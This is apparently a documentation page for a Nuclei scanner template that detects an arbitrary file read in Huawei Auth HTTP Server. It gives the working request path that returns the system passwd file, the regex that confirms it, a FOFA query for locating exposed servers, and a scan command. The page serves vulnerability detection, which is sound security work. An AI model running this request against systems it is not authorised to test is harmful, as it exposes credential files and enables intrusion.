Huawei Auth Http Server - Arbitrary File Read
ID: huawei-authhttp-lfi
Severity: high
Author: DhiyaneshDk
Tags: lfi,huawei,authhttp
Description
Section titled “Description”Huawei Auth HTTP Server is vulnerable to Arbitrary File Read.
YAML Source
Section titled “YAML Source”id: huawei-authhttp-lfi
info: name: Huawei Auth Http Server - Arbitrary File Read author: DhiyaneshDk severity: high description: Huawei Auth HTTP Server is vulnerable to Arbitrary File Read. reference: - https://mp.weixin.qq.com/s?__biz=MzIxMTg1ODAwNw==&mid=2247498499&idx=1&sn=6850c3e9a3df795e48ba9a10c9772ddd - https://github.com/Vme18000yuan/FreePOC/blob/master/poc/pocsuite/huawei-auth-http-readfile.py metadata: verified: true max-request: 1 fofa-query: server="Huawei Auth-Http Server 1.0" tags: lfi,huawei,authhttp
http: - method: GET path: - "{{BaseURL}}/umweb/passwd"
matchers-condition: and matchers: - type: word part: header words: - "Huawei Auth-Http Server"
- type: regex regex: - "root:.*:0:0:"
- type: status status: - 200# digest: 4a0a00473045022100ef6fef654a27428f0ee56538da8a615c5f60a19fac4035f1c579f35b31dd347802204f23a81140478b0d0776f8c098a397c7f4568dd075045cac8e70a26d0577fc12:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/huawei/huawei-authhttp-lfi.yaml"